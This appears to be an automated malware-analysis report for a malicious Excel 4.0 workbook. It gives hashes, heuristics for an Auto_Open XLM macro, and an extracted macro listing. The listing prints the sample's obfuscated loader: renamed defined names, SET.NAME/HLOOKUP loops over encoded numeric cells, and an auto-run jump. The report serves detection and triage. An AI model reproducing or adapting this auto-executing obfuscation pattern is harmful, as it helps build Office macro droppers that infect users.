Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3ffa1d1e7e1de4bc…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:01 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: c8eb00a8e676fdf9a05e773a9ce85605 SHA-1: a9e0350d1744d6f49312eac5575383e3e6c69e70 SHA-256: 3ffa1d1e7e1de4bcf4966fb38bd141801900b0d5b3d5a5ddbc0cf1c964815c7e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6595 bytes
SHA-256: 35421164659068c19c83d8d19d369aa0a54da84af15d1330fbddac874fc8cd97
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AomWX
' 0018     21 LABEL : Cell Value, String Constant - AdkXFA len=0 
' 0018     20 LABEL : Cell Value, String Constant - aEdyI len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F160 
' 0018     22 LABEL : Cell Value, String Constant - CACDwrV len=0 
' 0018     24 LABEL : Cell Value, String Constant - cHtedxblR len=0 
' 0018     22 LABEL : Cell Value, String Constant - CHxysEE len=0 
' 0018     20 LABEL : Cell Value, String Constant - dccTd len=0 
' 0018     26 LABEL : Cell Value, String Constant - DNyPsqAERsT len=0 
' 0018     20 LABEL : Cell Value, String Constant - FTVJB len=0 
' 0018     26 LABEL : Cell Value, String Constant - ImcXJRqxwdA len=0 
' 0018     21 LABEL : Cell Value, String Constant - kJeVVM len=0 
' 0018     27 LABEL : Cell Value, String Constant - MppGayGEELna len=0 
' 0018     21 LABEL : Cell Value, String Constant - nnRhut len=0 
' 0018     21 LABEL : Cell Value, String Constant - omFCCo len=0 
' 0018     27 LABEL : Cell Value, String Constant - ooMCwLFgWbri len=0 
' 0018     20 LABEL : Cell Value, String Constant - pSxZB len=0 
' 0018     22 LABEL : Cell Value, String Constant - UztYvSP len=0 
' 0018     22 LABEL : Cell Value, String Constant - vkLqxZN len=0 
' 0018     27 LABEL : Cell Value, String Constant - wjImtKCcakVf len=0 
' 0018     24 LABEL : Cell Value, String Constant - XCGchtilm len=0 
' 0018     26 LABEL : Cell Value, String Constant - zehJujkibOc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AomWX,P59,"",-444.00000000000000000000
'  AomWX,P60,"",-685.00000000000000000000
'  AomWX,P61,"",380.00000000000000000000
'  AomWX,P62,"",436.00000000000000000000
'  AomWX,P63,"",-617.00000000000000000000
'  AomWX,P64,"",388.00000000000000000000
'  AomWX,F71,"SET.NAME("FTVJB",0+VALUE("0"))",""
'  AomWX,F75,"SET.NAME("zehJujkibOc",FTVJB)",""
'  AomWX,F80,"SET.NAME("XCGchtilm",FTVJB)",""
'  AomWX,F82,"SET.NAME("vkLqxZN",COUNTA(MppGayGEELna))",""
'  AomWX,F85,"SET.NAME("ooMCwLFgWbri",COUNTA(aEdyI))",""
'  AomWX,F90,[],""
'  AomWX,F93,"SET.NAME("dccTd","")",""
'  AomWX,F97,"zehJujkibOc",""
'  AomWX,F100,"SET.NAME("DNyPsqAERsT",HLOOKUP("*",MppGayGEELna,zehJujkibOc,FALSE))",""
'  AomWX,F104,"omFCCo",""
'  AomWX,F109,"SET.NAME("ImcXJRqxwdA",FTVJB)",""
'  AomWX,F112,[],""
'  AomWX,F116,"ImcXJRqxwdA",""
'  AomWX,F121,"UztYvSP",""
'  AomWX,F123,"wjImtKCcakVf",""
'  AomWX,F125,"AdkXFA",""
'  AomWX,F130,"SET.NAME("cHtedxblR",VALUE(HLOOKUP("*",aEdyI,AdkXFA,FALSE)))",""
'  AomWX,F132,"CHxysEE",""
'  AomWX,F136,"dccTd",""
'  AomWX,F138,"XCGchtilm",""
'  AomWX,F142,NEXT(),""
'  AomWX,F144,"CACDwrV",""
'  AomWX,F147,[],""
'  AomWX,F151,"pSxZB",""
'  AomWX,F154,NEXT(),""
'  AomWX,F158,RETURN(),""
'  AomWX,F180,"SET.NAME("nnRhut",F71)",""
'  AomWX,F182,"MppGayGEELna",""
'  AomWX,F185,"SET.NAME("aEdyI",R53C14)",""
'  AomWX,F187,"SET.NAME("pSxZB",194)",""
'  AomWX,F189,"SET.NAME("kJeVVM",6)",""
'  AomWX,F193,nnRhut(),""
'  AomWX,F194,HALT(),""

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